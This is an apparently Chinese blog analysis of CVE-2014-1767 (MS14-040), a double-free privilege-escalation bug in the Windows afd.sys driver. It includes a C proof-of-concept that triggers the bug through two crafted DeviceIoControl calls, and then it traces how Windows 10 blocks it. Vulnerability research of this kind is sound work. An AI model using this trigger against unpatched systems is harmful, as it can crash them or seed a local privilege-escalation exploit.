1. 程式人生 > 其它 >CVE-2014-1767(MS14-040)漏洞分析

CVE-2014-1767(MS14-040)漏洞分析

0x00漏洞資訊

分析系統:win7 sp1

漏洞檔案:afd.sys

漏洞名稱:Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

漏洞型別:本地許可權提升

0x01漏洞分析

這是一個Double free 漏洞 把Double free 轉換成 uaf  漏洞 簡單點就是 釋放重引用

漏洞位置在  前面是控制碼  後面是對應的函式

0x1207F:afd!AfdTransmitFile

0x120C3:afd!AfdTransmitPackets

逐步分析這2個函式 漏洞原因  詳細文章已經很多了 就不在分析了 可以看下面地址的應該是網上寫的最詳細的

https://www.cnblogs.com/flycat-2016/p/5450275.html

https://www.cnblogs.com/flycat-2016/p/5450328.html

這裡看一下 win10修復措施 根據poc 除錯一下看如何修復的 

除錯的作業系統是 win10  64位 21h2

poc

#include<windows.h>
#include<stdio.h>
//#include <ws2def.h>
#pragma comment(lib,"WS2_32.lib")

int main()
{
    DWORD targetSize = 0x310
; DWORD virtualAddress = 0x13371337; DWORD mdlSize = (0x4000 * (targetSize - 0x30) / 8) - 0xFFF0 - (virtualAddress & 0xFFF); static DWORD inbuf1[100]; memset(inbuf1, 0, sizeof(inbuf1)); inbuf1[6] = virtualAddress; inbuf1[7] = mdlSize; inbuf1[10] = 1; static DWORD inbuf2[100]; memset(inbuf2,
0, sizeof(inbuf2)); inbuf2[0] = 1; inbuf2[1] = 0x0AAAAAAA; WSADATA WSAData; SOCKET s; sockaddr_in sa; int ierr; WSAStartup(0x2, &WSAData); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); memset(&sa, 0, sizeof(sa)); sa.sin_port = htons(135); sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); sa.sin_family = AF_INET; ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa)); static char outBuf[100]; DWORD bytesRet; __debugbreak(); DeviceIoControl((HANDLE)s, 0X1207F, (LPVOID)inbuf1, 0x40, outBuf, 0, &bytesRet, NULL); DeviceIoControl((HANDLE)s, 0X120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL); return 0; }

在AfdTransmitPackets和AfdTransmitFile 下斷點看  判斷是否是32位

 

 

 32位長度不能小於0x30 64位傳入長度不能小於0x40  

 

 3環地址驗證

 

接著建立tpinfo

 

 

後面就是呼叫報錯 在釋放後  關鍵點 count被清除

 

 

 

 接著就是AfdTransmitPackets 除錯 長度限制

 

 讓後就是 關鍵判斷了  count已經被清除不會走釋放程式碼